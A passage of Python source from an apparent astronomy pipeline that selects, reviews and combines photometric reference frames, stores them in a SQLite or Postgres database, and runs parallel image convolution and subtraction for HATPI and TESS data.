selected_frames[stage1_sort_ind[:2*minframes]]\n stage1_median_bgv = selected_medsrcbgv[stage1_sort_ind[:2*minframes]]\n stage1_stdev_bgv = selected_stdsrcbgv[stage1_sort_ind[:2*minframes]]\n stage1_svalue = selected_medsvalue[stage1_sort_ind[:2*minframes]]\n stage1_dvalue = selected_meddvalue[stage1_sort_ind[:2*minframes]]\n\n # next, sort by roundest stars\n stage2_sort_ind = (np.argsort(np.fabs(stage1_dvalue)))\n\n stage2_frames = stage1_frames[stage2_sort_ind]\n stage2_median_bgv = stage1_median_bgv[stage2_sort_ind]\n stage2_stdev_bgv = stage1_stdev_bgv[stage2_sort_ind]\n stage2_svalue = stage1_svalue[stage2_sort_ind]\n stage2_dvalue = stage1_dvalue[stage2_sort_ind]\n\n final_bgvmed_ind = stage2_median_bgv < maxbackgroundmedian\n final_bgvstd_ind = stage2_stdev_bgv < maxbackgroundstdev\n final_selector_ind = final_bgvmed_ind & final_bgvstd_ind\n\n final_frames = stage2_frames[final_selector_ind][:minframes]\n final_median_bgv = stage2_median_bgv[final_selector_ind][:minframes]\n final_stdev_bgv = stage2_stdev_bgv[final_selector_ind][:minframes]\n final_svalues = stage2_svalue[final_selector_ind][:minframes]\n final_dvalues = stage2_dvalue[final_selector_ind][:minframes]\n\n print('%sZ: selected %s final frames as photref' %\n (datetime.utcnow().isoformat(), len(final_frames)))\n\n # the master photref is the frame we'll convolve all of the rest of the\n # photrefs to. it's the softest of these frames\n try:\n\n candidate_master_photref = final_frames[np.nanargmin(final_svalues)]\n final_jpegs = []\n\n # make JPEGs of the selected photref frames and copy them to the\n # cachedir\n if not os.path.exists(cachedir):\n print('WRN! %sZ: making new photref cache directory: %s' %\n (datetime.utcnow().isoformat(), cachedir))\n os.mkdir(cachedir)\n\n for final_frame in final_frames:\n\n framejpg = fits_to_full_jpeg(\n final_frame,\n out_fname=os.path.join(\n cachedir,\n ('JPEG-PHOTREF-%s.jpg' %\n os.path.basename(final_frame).rstrip('.fits.fz'))\n )\n )\n final_jpegs.append(framejpg)\n\n photrefinfo = {\n 'framelist':fitsfiles,\n 'frameinfo':frameinfo,\n 'cachekey':cachekey,\n 'minframes':minframes,\n 'maxhourangle':maxhourangle,\n 'maxmoonphase':maxmoonphase,\n 'maxmoonelev':maxmoonelev,\n 'maxzenithdist':maxzenithdist,\n 'maxbackgroundstdev':maxbackgroundstdev,\n 'maxbackgroundmedian':maxbackgroundmedian,\n 'masterphotref':os.path.abspath(candidate_master_photref),\n 'photrefs':[os.path.abspath(x) for x in final_frames],\n 'photrefjpegs':final_jpegs\n }\n\n # dump the photrefinfo to a pickle\n with gzip.open(cacheinfofile,'wb') as outfd:\n pickle.dump(photrefinfo, outfd, pickle.HIGHEST_PROTOCOL)\n\n print('%sZ: candidate photref JPEGs in: %s, photrefinfo dumped to: %s' %\n (datetime.utcnow().isoformat(), cachedir, cacheinfofile))\n\n return photrefinfo\n\n except Exception as e:\n\n print('ERR! %sZ: selection failed, some criteria '\n 'may be too strict for this frame list' %\n (datetime.utcnow().isoformat()))\n\n return {'framelist':fitsfiles,\n 'frameinfo':frameinfo,\n 'cachekey':cachekey,\n 'maxhourangle':maxhourangle,\n 'maxmoonphase':maxmoonphase,\n 'maxmoonelev':maxmoonelev,\n 'maxzenithdist':maxzenithdist,\n 'maxbackgroundstdev':maxbackgroundstdev,\n 'maxbackgroundmedian':maxbackgroundmedian,\n 'masterphotref':None,\n 'photrefs':None,\n 'photrefjpegs':None}\n\n\n\ndef amend_candidate_photrefs(photrefinfo):\n \"\"\"\n This is an interactive way to update masterphotref, photrefs, and\n photrefjpegs after reviewing them.\n\n This will automatically update the photrefinfo cache.\n\n Args:\n photrefinfo: dictionary returned by\n generate_photref_candidates_from_xtrns\n\n Returns:\n photrefinfo: updated version of same dictionary\n \"\"\"\n\n cachekey = photrefinfo['cachekey']\n cachedir = os.path.join(FRAMEINFOCACHEDIR,'TM-photref-%s' % cachekey)\n cacheinfofile = os.path.join(cachedir, 'selection-info.pkl.gz')\n\n print('reviewing photrefinfo for %s\\n' % cachedir)\n\n # now deal with the photrefs:\n print('-- CANDIDATE PHOTREFS --\\n')\n\n initialphotrefs = sorted(photrefinfo['photrefs'][::])\n initialphotrefjpegs = sorted(photrefinfo['photrefjpegs'][::])\n\n for frame, jpeg in zip(initialphotrefs, initialphotrefjpegs):\n\n breakloop = False\n\n photref_prompt = (\n 'photref = %s, jpeg = %s\\n'\n '[ENTER] to keep this, or [x] to remove: ' %\n (frame, os.path.basename(jpeg))\n )\n\n while not breakloop:\n\n photref_check = raw_input(photref_prompt)\n\n if photref_check and photref_check == 'x':\n\n photrefinfo['photrefs'].remove(frame)\n photrefinfo['photrefjpegs'].remove(jpeg)\n os.remove(jpeg)\n\n print('REMOVED photref %s' % frame)\n breakloop = True\n\n elif not photref_check:\n breakloop = True\n\n print('\\nfinal photrefs set to:')\n for frame in photrefinfo['photrefs']:\n print(frame)\n\n # next, update the masterphotref\n masterphotref_prompt = (\n 'current masterphotref = %s\\n'\n '[ENTER] to keep this, or new masterphot: ' %\n photrefinfo['masterphotref']\n )\n\n breakloop = False\n\n print('\\n-- MASTERPHOTREF --\\n')\n\n # loop until masterphotref is satisfied\n while not breakloop:\n\n masterphotref_amendment = raw_input(masterphotref_prompt)\n\n if masterphotref_amendment and os.path.exists(masterphotref_amendment):\n\n photrefinfo['masterphotref'] = masterphotref_amendment[::]\n\n masterphotref_prompt = (\n 'new masterphotref = %s\\n'\n '[ENTER] to keep this, or new masterphot: ' %\n photrefinfo['masterphotref']\n )\n\n elif ((masterphotref_amendment) and\n (not os.path.exists(masterphotref_amendment))):\n\n masterphotref_prompt = (\n 'masterphotref = %s does not exist\\n'\n 'new masterphot: ' %\n masterphotref_amendment\n )\n\n elif not masterphotref_amendment:\n breakloop = True\n\n print('\\nmasterphotref set to %s' % photrefinfo['masterphotref'])\n\n # update the cache info file\n print('\\nupdating photref cached selection-info pickle...')\n\n # dump the photrefinfo to a pickle\n with gzip.open(cacheinfofile,'wb') as outfd:\n pickle.dump(photrefinfo, outfd, pickle.HIGHEST_PROTOCOL)\n\n print('%sZ: candidate photref JPEGs in: %s, photrefinfo dumped to: %s' %\n (datetime.utcnow().isoformat(), cachedir, cacheinfofile))\n\n return photrefinfo\n\n\n\ndef generate_combined_photref(\n photrefinfo,\n photreftype,\n dbtype,\n ra_nom,\n dec_nom,\n photref_reformedfovcat=None,\n makeactive=True,\n field=None,\n ccd=None,\n projectid=None,\n refdir=REFBASEDIR,\n refinfo=REFINFO,\n fovcatdir=FIELDCAT_DIR,\n combinemethod='median',\n kernelspec='b/4;i/4;d=4/4',\n ccdgain=None,\n zeropoint=None,\n ccdexptime=None,\n extractsources=True,\n photreffluxthreshold=25000,\n apertures='1.95:7.0:6.0,2.45:7.0:6.0,2.95:7.0:6.0',\n framewidth=None,\n searchradius=8.0,\n nworkers=8,\n maxworkertasks=1000,\n fieldinfo=None,\n observatory='hatpi',\n overwrite=False,\n useimagenotfistar=False,\n astrometrydownsample=2,\n pixelerror=0.3,\n uniformize=10,\n reformed_cat_file=None):\n \"\"\"\n This generates a combined photref from photref target and candidates and\n updates the sqlite or postgres database.\n\n Use this after reviewing the results from\n generate_photref_candidates_from_xtrns function above. Amend the\n photrefinfo['masterphotref'], photrefinfo['photrefs'], and\n photrefinfo['photrefjpegs'] arrays as needed using the\n amend_candidate_photrefs function above.\n\n Args:\n photreffluxthreshold: This is the threshold flux used to extract stars\n from the photometric reference, if extractsources is True.\n\n photrefinfo is the output of generate_photref_candidates_from_xtrns\n\n photreftype is the type of the combined photref produced. it must be\n one of the following strings:\n\n 'oneframe' -> single HATPI frame\n 'onehour' -> up to 120 HATPI frames\n 'onenight' -> up to 960 HATPI frames\n\n dbtype is either 'sqlite' or 'postgres'.\n\n searchradius: astrometry.net solver search radius (in degrees)\n\n fieldinfo: optional dict (used if reducing tess data) of form\n {'ccd': 1, 'camera': 1, 'field': 'ete6_field0', 'projectid': 42},\n\n fovcatalog: the REFORMED FoV catalog file (12 columns)\n\n useimagenotfistar (bool): if True, does astrometry.net internal source\n extract (when observatory=='tess'). Otherwise, uses the fistar source\n positions in the astrometry solver. A benefit of setting to True for\n wide fields is that it enables easy downsampling, which can help with\n wide-field astrometry convergence problems.\n\n Returns:\n\n updates photrefinfo with the following dict and keys:\n\n 'combinedphotref':{'frame': -> combined photref frame path\n 'jpeg' -> combined photref jpeg path\n 'cmrawphot' -> cmrawphot file path\n 'regfile' -> convolution registration file path\n 'combinemethod'- > combine type\n 'reftype' -> combined photref type\n 'phottype' -> either 're-extracted' or 'cat-projected'\n 'photaps' -> photometry apertures for combined photref\n 'fovcat' -> fovcat file used for photometry\n 'kernelspec' -> convolution kernel specs}\n\n updates the cached selection-info pickle file as well.\n\n the output combined photref frame, jpeg, cmrawphot (and byproducts) go to\n the REFBASEDIR, using the following prototype for the filename:\n\n {REFBASEDIR}/proj{projid}-{field}-ccd{ccd}-combinedphotref-{photreftype}.XXX\n \"\"\"\n\n assert (dbtype == 'postgres') or (dbtype == 'sqlite')\n\n # get the field, ccd, projectid first (from the convolvetarget =\n # masterphotref)\n\n masterphotref = photrefinfo['masterphotref']\n\n if observatory=='hatpi':\n if fieldinfo is not None:\n cam = fieldinfo['camera']\n ccd = fieldinfo['ccd']\n masterphotrefinfo = {'field':fieldinfo['field'],\n 'ccd':fieldinfo['ccd'],\n 'cam':fieldinfo['camera'],\n 'projectid':fieldinfo['projectid']}\n else:\n # Infer field info\n frameelems = get_header_keyword_list(masterphotref,\n ['object','projid'])\n felems = FRAMEREGEX.findall(\n os.path.basename(masterphotref)\n )\n\n if felems and felems[0]:\n cam = 0\n ccd = felems[0][2]\n masterphotrefinfo = {'field':frameelems['object'],\n 'cam':cam,\n 'ccd':int(ccd),\n 'projectid':frameelems['projid']}\n\n elif observatory=='tess':\n cam = fieldinfo['camera']\n ccd = fieldinfo['ccd']\n masterphotrefinfo = {'field':fieldinfo['field'],\n 'ccd':fieldinfo['ccd'],\n 'cam':fieldinfo['camera'],\n 'projectid':fieldinfo['projectid']}\n\n else:\n\n print('ERR! %sZ: could not figure out CCD for masterphotref: %s' %\n (datetime.utcnow().isoformat(), masterphotref))\n return\n\n # make the convolution registration file\n\n photreffname = ('proj{projid}-{field}-cam{cam}-ccd{ccd}'\n '-combinedphotref-{photreftype}.{fileext}')\n\n regfpath = os.path.join(\n refdir,\n photreffname.format(\n projid=masterphotrefinfo['projectid'],\n field=masterphotrefinfo['field'],\n cam=masterphotrefinfo['cam'],\n ccd=masterphotrefinfo['ccd'],\n photreftype=photreftype,\n fileext='reg'\n )\n )\n\n # the output combinedphotref path\n combinedphotrefpath = os.path.join(\n refdir,\n photreffname.format(\n projid=masterphotrefinfo['projectid'],\n field=masterphotrefinfo['field'],\n cam=masterphotrefinfo['cam'],\n ccd=masterphotrefinfo['ccd'],\n photreftype=photreftype,\n fileext='fits'\n )\n )\n\n if (overwrite is False and\n os.path.exists(regfpath) and os.path.exists(combinedphotrefpath)):\n print(\n 'WRN! {:s}Z: found regfpath {:s} and combinedphotrefpath {:s} '.\n format(datetime.utcnow().isoformat(),\n regfpath,\n combinedphotrefpath)+\n 'continuing'\n )\n return\n\n masterphotref_fistar = masterphotref.replace('-xtrns.fits','.fistar')\n\n if not os.path.exists(masterphotref_fistar):\n print('ERR! %sZ: no fistar available for masterphotref: %s' %\n (datetime.utcnow().isoformat(), masterphotref))\n return\n\n # conv registration file\n ism.genreg(masterphotref_fistar, regfpath)\n\n if not os.path.exists(regfpath):\n print('ERR! %sZ: could not make regfile for masterphotref: %s' %\n (datetime.utcnow().isoformat(), masterphotref))\n return\n\n # convolve all candidate photrefs to the masterphotref\n convresult = ism.convolve_photref_frames(photrefinfo['photrefs'],\n masterphotref,\n regfpath,\n kernelspec=kernelspec,\n nworkers=nworkers,\n maxworkertasks=maxworkertasks)\n\n # get the convolved photref frames\n convphotrefs = [convresult[x] for x in convresult\n if os.path.exists(convresult[x])]\n\n if len(convphotrefs) == 0:\n print('ERR! %sZ: convolution of photrefs to masterphotref: %s failed' %\n (datetime.utcnow().isoformat(), masterphotref))\n return\n\n # combine all the convolved photrefs into a single combinedphotref, using\n # combinemethod\n\n combinedphotref = ism.combine_frames(convphotrefs,\n combinedphotrefpath,\n combinemethod=combinemethod)\n\n if not (combinedphotref[1] and os.path.exists(combinedphotref[1])):\n print('ERR! %sZ: combining conv photrefs '\n 'into masterphotref: %s failed' %\n (datetime.utcnow().isoformat(), masterphotref))\n return\n\n # rearrange the returned combinedphotref filename\n combinedphotref = combinedphotref[1]\n\n if not photref_reformedfovcat:\n\n # find the fovcat file for the field, ccd, projectid, photreftype combo\n # photreftype = 'oneframe' -> default field-gri.catalog\n # photreftype = 'onehour' -> default field-gri-18.0.catalog\n # photreftype = 'onenight' -> default field-gri-20.0.catalog\n\n fovcat_template = '{field}{bandspec}{magspec}.catalog'\n\n if photreftype == 'oneframe':\n photref_reformedfovcatpath = os.path.join(\n fovcatdir,\n fovcat_template.format(\n field=masterphotrefinfo['field'],\n bandspec='-gri',\n magspec=''\n )\n )\n elif photreftype == 'onehour':\n photref_reformedfovcatpath = os.path.join(\n fovcatdir,\n fovcat_template.format(\n field=masterphotrefinfo['field'],\n bandspec='-gri',\n magspec='-18.0'\n )\n )\n elif photreftype == 'onenight':\n photref_reformedfovcatpath = os.path.join(\n fovcatdir,\n fovcat_template.format(\n field=masterphotrefinfo['field'],\n bandspec='-gri',\n magspec='-20.0'\n )\n )\n else:\n print('ERR! %sZ: unknown photreftype: %s specified '\n 'can\\'t continue...' %\n (datetime.utcnow().isoformat(), photreftype))\n return\n\n else:\n photref_reformedfovcatpath = photref_reformedfovcat\n\n if not os.path.exists(photref_reformedfovcatpath):\n print('ERR! %sZ: no FOV catalog available '\n 'for field %s, photreftype %s, '\n 'can\\'t do photometry on combinedphotref %s' %\n (datetime.utcnow().isoformat(),\n masterphotref, photreftype, combinedphotref))\n return\n\n\n # run photometry on the combinedphotref and generate a cmrawphot file. this\n # produces the base photometry values that we'll be diffing from those\n # found in the difference images to get difference magnitudes.\n # if extractsources==False, a placeholder fistar file with SDK values is\n # nonetheless generated, to be used for photometric reference frame\n # statistical bookkeeping.\n cphotref_photometry = ism.photometry_on_combined_photref(\n combinedphotref,\n photref_reformedfovcatpath,\n ra_nom,\n dec_nom,\n masterphotrefinfo['ccd'],\n ccdgain=ccdgain,\n zeropoint=zeropoint,\n ccdexptime=ccdexptime,\n extractsources=extractsources,\n apertures=apertures,\n framewidth=framewidth,\n searchradius=searchradius,\n photreffluxthreshold=photreffluxthreshold,\n observatory=observatory,\n useimagenotfistar=useimagenotfistar,\n astrometrydownsample=astrometrydownsample,\n pixelerror=pixelerror,\n uniformize=uniformize,\n reformed_cat_file=reformed_cat_file,\n projid=masterphotrefinfo['projectid']\n )\n\n if not (cphotref_photometry and\n cphotref_photometry[1] and\n os.path.exists(cphotref_photometry[1])):\n print('ERR! %sZ: photometry failed for combinedphotref %s '\n 'can\\'t continue...' %\n (datetime.utcnow().isoformat(), combinedphotref))\n return\n\n # update the cache photref selection-info.pkl.gz file\n combinedphotrefinfo = {\n 'reftype':photreftype,\n 'frame':combinedphotref,\n 'jpeg':combinedphotref.replace(\n '.fits', '.jpg').replace('proj', 'JPEG-COMBINED-proj'),\n 'cmrawphot':cphotref_photometry[1],\n 'regfile':regfpath,\n 'combinemethod':combinemethod,\n 'kernelspec':kernelspec,\n 'phottype':'re-extracted' if extractsources else 'cat-projected',\n 'photaps':apertures,\n 'fovcat':photref_reformedfovcatpath,\n }\n photrefinfo['combinedphotref'] = combinedphotrefinfo\n\n cachekey = photrefinfo['cachekey']\n cachedir = os.path.join(FRAMEINFOCACHEDIR,'TM-photref-%s' % cachekey)\n cacheinfofile = os.path.join(cachedir, 'selection-info.pkl.gz')\n\n with gzip.open(cacheinfofile, 'wb') as outfd:\n print('%sZ: combined photref JPEG: %s, photrefinfo updated: %s' %\n (datetime.utcnow().isoformat(),\n photrefinfo['combinedphotref']['jpeg'],\n cacheinfofile))\n pickle.dump(photrefinfo, outfd, pickle.HIGHEST_PROTOCOL)\n\n\n # update the TM-refinfo.sqlite database, or the psql database, as the user\n # decided.\n\n # first, get the frame info from the combinedphotref\n combinedphotref_fistar = combinedphotref.replace('.fits','.fistar')\n if not os.path.exists(combinedphotref_fistar):\n print('WRN! %sZ: did not find %s.' %\n (datetime.utcnow().isoformat(), combinedphotref_fistar)\n )\n print('It is needed for SDK values which are used to so making it '\n )\n _ = ap.extract_frame_sources(fits, None,\n fluxthreshold=photreffluxthreshold,\n ccdgain=ccdgain, zeropoint=zeropoint,\n exptime=ccdexptime)\n\n _, photref_frameinfo = get_frame_info(combinedphotref)\n\n if not photref_frameinfo:\n print('ERR! %sZ: could not extract frame info from combinedphotref %s' %\n (datetime.utcnow().isoformat(), combinedphotref))\n return\n\n if dbtype == 'sqlite':\n db = sqlite3.connect(\n refinfo,\n detect_types=sqlite3.PARSE_DECLTYPES|sqlite3.PARSE_COLNAMES\n )\n query = (\"insert into photrefs (\"\n \"field, projectid, camera, ccd, photreftype, isactive, unixtime, \"\n \"framepath, jpegpath, \"\n \"convolvetarget, convolveregpath, cmrawphotpath, \"\n \"target_zenithdist, target_moondist, target_moonelev, \"\n \"target_moonphase, target_hourangle, target_ndet, \"\n \"target_medmagerr, target_magerrmad, target_medsrcbgv, \"\n \"target_stdsrcbgv, target_medsval, target_meddval, \"\n \"photrefinfo\"\n \") values (\"\n \"?, ?, ?, ?, ?, ?, ?, \"\n \"?, ?, \"\n \"?, ?, ?, \"\n \"?, ?, ?, \"\n \"?, ?, ?, \"\n \"?, ?, ?, \"\n \"?, ?, ?, \"\n \"?\"\n \")\")\n\n elif dbtype == 'postgres':\n db = pg.connect(user=PGUSER,\n password=PGPASSWORD,\n database=PGDATABASE,\n host=PGHOST)\n query = (\"insert into photrefs (\"\n \"field, projectid, camera, ccd, photreftype, isactive, unixtime, \"\n \"framepath, jpegpath, \"\n \"convolvetarget, convolveregpath, cmrawphotpath, \"\n \"target_zenithdist, target_moondist, target_moonelev, \"\n \"target_moonphase, target_hourangle, target_ndet, \"\n \"target_medmagerr, target_magerrmad, target_medsrcbgv, \"\n \"target_stdsrcbgv, target_medsval, target_meddval, \"\n \"photrefinfo\"\n \") values (\"\n \"%s, %s, %s, %s, %s, %s, %s, \"\n \"%s, %s, \"\n \"%s, %s, %s, \"\n \"%s, %s, %s, \"\n \"%s, %s, %s, \"\n \"%s, %s, %s, \"\n \"%s, %s, %s, \"\n \"%s\"\n \")\")\n\n params = (\n masterphotrefinfo['field'],\n masterphotrefinfo['projectid'],\n masterphotrefinfo['cam'],\n masterphotrefinfo['ccd'],\n photreftype,\n 1 if makeactive else 0,\n time.time(),\n\n photrefinfo['combinedphotref']['frame'],\n photrefinfo['combinedphotref']['jpeg'],\n\n masterphotref,\n photrefinfo['combinedphotref']['regfile'],\n photrefinfo['combinedphotref']['cmrawphot'],\n\n photref_frameinfo['zenithdist'],\n photref_frameinfo['moondist'],\n photref_frameinfo['moonelev'],\n\n photref_frameinfo['moonphase'],\n photref_frameinfo['hourangle'],\n photref_frameinfo['ngoodobjects'],\n\n photref_frameinfo['medmagerr'],\n photref_frameinfo['magerrmad'],\n photref_frameinfo['medsrcbgv'],\n\n photref_frameinfo['stdsrcbgv'],\n photref_frameinfo['medsval'],\n photref_frameinfo['meddval'],\n\n json.dumps(photrefinfo['combinedphotref'],ensure_ascii=True)\n )\n\n\n try:\n\n cur = db.cursor()\n cur.execute(query, params)\n db.commit()\n\n print('%sZ: will use combinedphotref %s for '\n 'field %s, cam %s, ccd %s, project id %s, database updated.' %\n (datetime.utcnow().isoformat(),\n combinedphotref,\n masterphotrefinfo['field'],\n masterphotrefinfo['cam'],\n masterphotrefinfo['ccd'],\n masterphotrefinfo['projectid']))\n\n except Exception as e:\n\n print('ERR! %sZ: could not update refinfo DB! error was: %s' %\n (datetime.utcnow().isoformat(), e))\n db.rollback()\n\n db.close()\n\n # return the updated photrefinfo dict\n return photrefinfo\n\n\n\ndef get_combined_photref(projectid,\n field,\n ccd,\n photreftype,\n dbtype='postgres',\n refinfo=REFINFO,\n camera=0):\n \"\"\"\n This gets the combined photref for the given combo of projid, field, ccd.\n\n Used for the convsubphot functions below.\n\n dbtype: 'postgres' or 'sqlite'. By default, 'postgres'.\n \"\"\"\n\n assert (dbtype == 'postgres') or (dbtype == 'sqlite')\n\n if dbtype == 'sqlite':\n db = sqlite3.connect(\n refinfo,\n detect_types=sqlite3.PARSE_DECLTYPES|sqlite3.PARSE_COLNAMES\n )\n query = (\n 'select field,projectid,ccd,photreftype,unixtime,'\n 'framepath,jpegpath,convolvetarget,convolveregpath,'\n 'cmrawphotpath,target_zenithdist,target_moondist,'\n 'target_moonelev,target_moonphase,target_hourangle,'\n 'target_ndet,target_medmagerr,target_magerrmad,'\n 'target_medsrcbgv,target_stdsrcbgv,target_medsval,'\n 'target_meddval,photrefinfo from photrefs where '\n '(isactive = 1) and '\n '(projectid = ?) and '\n '(ccd = ?) and '\n '(field = ?) and '\n '(photreftype = ?)'\n )\n\n elif dbtype == 'postgres':\n db = pg.connect(user=PGUSER,\n password=PGPASSWORD,\n database=PGDATABASE,\n host=PGHOST)\n query = (\n 'select field,projectid,camera,ccd,photreftype,unixtime,'\n 'framepath,jpegpath,convolvetarget,convolveregpath,'\n 'cmrawphotpath,target_zenithdist,target_moondist,'\n 'target_moonelev,target_moonphase,target_hourangle,'\n 'target_ndet,target_medmagerr,target_magerrmad,'\n 'target_medsrcbgv,target_stdsrcbgv,target_medsval,'\n 'target_meddval,photrefinfo from photrefs where '\n '(isactive = 1) and '\n '(projectid = %s) and '\n '(camera = %s) and '\n '(ccd = %s) and '\n '(field = %s) and '\n '(photreftype = %s)'\n )\n\n params = (projectid, camera, ccd, field, photreftype)\n cur = db.cursor()\n\n try:\n\n if DEBUG:\n print('Executing the following postgres query:')\n print(query)\n\n cur.execute(query, params)\n rows = cur.fetchone()\n\n if rows is None:\n print('ERR! %sZ: No combinedphotref in database for '\n 'projectid = %s, camera = %s, ccd = %s, field = %s, '\n 'photreftype = %s' %\n (datetime.utcnow().isoformat(), projectid,\n camera, ccd, field, photreftype))\n db.close()\n return None\n\n cphotref = {x:y for (x,y) in zip(('field','projectid','camera','ccd',\n 'photreftype','unixtime',\n 'framepath','jpegpath',\n 'convolvetarget','convolveregpath',\n 'cmrawphotpath',\n 'target_zenithdist',\n 'target_moondist',\n 'target_moonelev',\n 'target_moonphase',\n 'target_hourangle',\n 'target_ndet',\n 'target_medmagerr',\n 'target_magerrmad',\n 'target_medsrcbgv',\n 'target_stdsrcbgv',\n 'target_medsval',\n 'target_meddval',\n 'photrefinfo'),rows)}\n\n if not type(cphotref['photrefinfo']) == dict:\n # load the JSON string for photrefinfo. NB postgres does this\n # automatically.\n cphotref['photrefinfo'] = json.loads(cphotref['photrefinfo'])\n\n returnval = cphotref\n\n except Exception as e:\n\n print('ERR! %sZ: could not get combinedphotref info '\n 'from DB! error was: %s' %\n (datetime.utcnow().isoformat(), e))\n returnval = None\n\n raise\n\n db.close()\n return returnval\n\n\n\n#######################\n## IMAGE SUBTRACTION ##\n#######################\n\ndef xtrnsfits_convsub_worker(task, **kwargs):\n \"\"\"This is a parallel worker for framelist_convsub_photref below.\n\n task[0] = xtrnsfits file\n task[1] = photreftype to use <\"oneframe\"|\"onehour\"|\"onenight\">\n task[2] = outdir\n task[3] = kernelspec\n task[4] = reversesubtract boolean\n task[5] = refinfo\n task[6] = observatory\n task[7] = fieldinfo (if observatory is tess, otherwise None)\n\n This only does convolution and subtraction. Finding new objects is handled\n by another function in transients.py, and doing photometry on the subtracted\n frames is handled by convsubfits_photometry_worker below.\n \"\"\"\n\n (frame, photreftype, outdir,\n kernelspec, reversesubtract, refinfo, observatory, fieldinfo) = task\n\n try:\n\n # first, figure out the input frame's projid, field, and ccd\n if observatory=='hatpi':\n if fieldinfo is None:\n frameelems = get_header_keyword_list(frame, ['object', 'projid'])\n felems = FRAMEREGEX.findall(os.path.basename(frame))\n field, ccd, projectid = (frameelems['object'], int(felems[0][2]),\n frameelems['projid'])\n camera = 0\n else:\n field, ccd, projectid, camera = (fieldinfo['field'],\n fieldinfo['ccd'],\n fieldinfo['projectid'],\n fieldinfo['camera'])\n elif observatory=='tess':\n camera = fieldinfo['camera']\n field = fieldinfo['field']\n projectid = fieldinfo['projectid']\n ccd = fieldinfo['ccd']\n\n # then, find the associated combined photref frame, regfile, cmrawphot\n cphotref = get_combined_photref(projectid, field, ccd, photreftype,\n refinfo=refinfo, camera=camera)\n cphotref_frame = cphotref['framepath']\n cphotref_reg = cphotref['convolveregpath']\n cphotref_cmrawphot = cphotref['cmrawphotpath']\n\n # do the subtraction (take care of reversesubtract here)\n _, convsub = ism.subframe_convolution_worker(\n (frame, cphotref_frame, cphotref_reg,\n kernelspec, outdir, reversesubtract, photreftype),\n **kwargs\n )\n\n if not (convsub and os.path.exists(convsub)):\n print('ERR! %sZ: convolution and subtraction failed on frame %s' %\n (datetime.utcnow().isoformat(), frame))\n return frame, None\n\n else:\n\n return frame, convsub\n\n except Exception as e:\n\n print('ERR! %sZ: could not do convsubphot on frame %s, error was: %s' %\n (datetime.utcnow().isoformat(), frame, e))\n\n return frame, None\n\n\n\ndef parallel_xtrnsfits_convsub(xtrnsfits,\n photreftype,\n fitsdir=sv.REDPATH,\n fitsglob=sv.LOCAL_GLOBPATTERN,\n observatory='hatpi',\n fieldinfo=None,\n overwrite=False,\n outdir=None,\n refinfo=REFINFO,\n reversesubtract=True,\n kernelspec='b/4;i/4;d=4/4',\n nworkers=16,\n maxworkertasks=1000,\n colorscheme=None):\n \"\"\"\n This convolves, and subtracts all FITS files in the xtrnsfits list.\n\n WARNING: KNOWN BUG is that if reversesubtract is set to be false (\"nsub\"),\n you introduce a sign error in the resulting magnitudes.\n \"\"\"\n\n # first, check if the convolved, subtracted frames already exist. if so,\n # and overwrite == False, then do not run them.\n\n existingcsframes = glob.glob(os.path.join(\n fitsdir, '[r|n]sub-????????-'+fitsglob.replace('.fits','-xtrns.fits')))\n\n if len(existingcsframes) > 0 and not overwrite:\n\n requested = list(map(os.path.basename, xtrnsfits))\n alreadyexists = list(map(os.path.basename, existingcsframes))\n\n # use lazy matching to substitute out the hash string\n alreadyexists = [re.sub('[r|n]sub-.*?-','',ae) for ae in alreadyexists]\n\n setdiff = np.setdiff1d(requested, alreadyexists)\n\n if len(setdiff) == 0:\n\n print('WRN! %sZ: every requested frame already found to exist.' %\n (datetime.utcnow().isoformat(),))\n print('WRN! %sZ: skipping convolution & subtraction step.' %\n (datetime.utcnow().isoformat(),))\n return\n\n else:\n\n xtrnsfits = [fitsdir+sd for sd in setdiff]\n\n tasks = [(x, photreftype, outdir, kernelspec,\n reversesubtract, refinfo, observatory, fieldinfo)\n for x in xtrnsfits if os.path.exists(x)]\n\n print('%sZ: %s files to convolve and subtract' %\n (datetime.utcnow().isoformat(), len(tasks)))\n\n if len(tasks) > 0:\n\n pool = mp.Pool(nworkers,maxtasksperchild=maxworkertasks)\n\n # fire up the pool of workers\n kwargs = {'colorscheme':colorscheme}\n results = pool.map(\n partial(xtrnsfits_convsub_worker, **kwargs), tasks)\n\n # wait for the processes to complete work\n pool.close()\n pool.join()\n\n return {x:y for (x,y) in results}\n\n else:\n\n print('ERR! %sZ: none of the files specified exist, bailing out...' %\n (datetime.utcnow().isoformat(),))\n return\n\n\n\n#########################################\n## PHOTOMETRY ON THE SUBTRACTED FRAMES ##\n#########################################\n\ndef convsubfits_staticphot_worker(task):\n \"\"\"\n This does subtracted frame photometry on already-known objects from the\n photref.\n\n task[0] = subframe\n task[1] = photreftype\n task[2] = kernelspec\n task[3] = lcapertures\n task[4] = disjointradius\n task[5] = outdir\n task[6] = refinfo\n task[7] = observatory\n task[8] = fieldinfo\n task[9] = photparams\n task[10] = domagfit option\n tasks[11] = dorereduce option (str of reduc_id if true)\n\n currently produces iphot files.\n\n TODO: should this write to the database?\n \"\"\"\n\n (subframe, photreftype, kernelspec,\n lcapertures, disjrad, outdir, refinfo,\n observatory, fieldinfo, photparams, domagfit, dorereduce) = task\n\n try:\n\n # generate the convsubfits hash\n convsubhash = ism.get_convsubfits_hash(\n photreftype,\n ('reverse' if os.path.basename(subframe).startswith('rsub')\n else 'normal'),\n kernelspec\n )\n\n if observatory=='hatpi':\n frameinfo = FRAMEREGEX.findall(os.path.basename(subframe))\n if fieldinfo is None:\n # first, figure out the input frame's projid, field, and ccd\n frameelems = get_header_keyword_list(subframe, ['object', 'projid'])\n field, ccd, projectid = (frameelems['object'], int(frameinfo[0][2]),\n frameelems['projid'])\n camera = 0\n else:\n field = fieldinfo['field']\n ccd = fieldinfo['ccd']\n projectid = fieldinfo['projectid']\n camera = fieldinfo['camera']\n\n elif observatory=='tess':\n field = fieldinfo['field']\n ccd = fieldinfo['ccd']\n projectid = fieldinfo['projectid']\n camera = fieldinfo['camera']\n\n # then, find the associated combined photref frame, regfile, cmrawphot\n cphotref = get_combined_photref(projectid, field, ccd, photreftype,\n refinfo=refinfo, camera=camera)\n cphotref_frame = cphotref['framepath']\n cphotref_reg = cphotref['convolveregpath']\n cphotref_cmrawphot = cphotref['cmrawphotpath']\n\n if dorereduce:\n cphotref_cmrawphot = cphotref_cmrawphot.replace(\n 'reference-frames', f'rereduce-reference-frames/{dorereduce}'\n )\n print(f'INFO: Trying to update cmrawphot path to {cphotref_cmrawphot}')\n assert os.path.exists(cphotref_cmrawphot)\n\n # find matching kernel, itrans, and xysdk files for each subtracted\n # frame\n\n photrefbit = (\n 'rsub' if 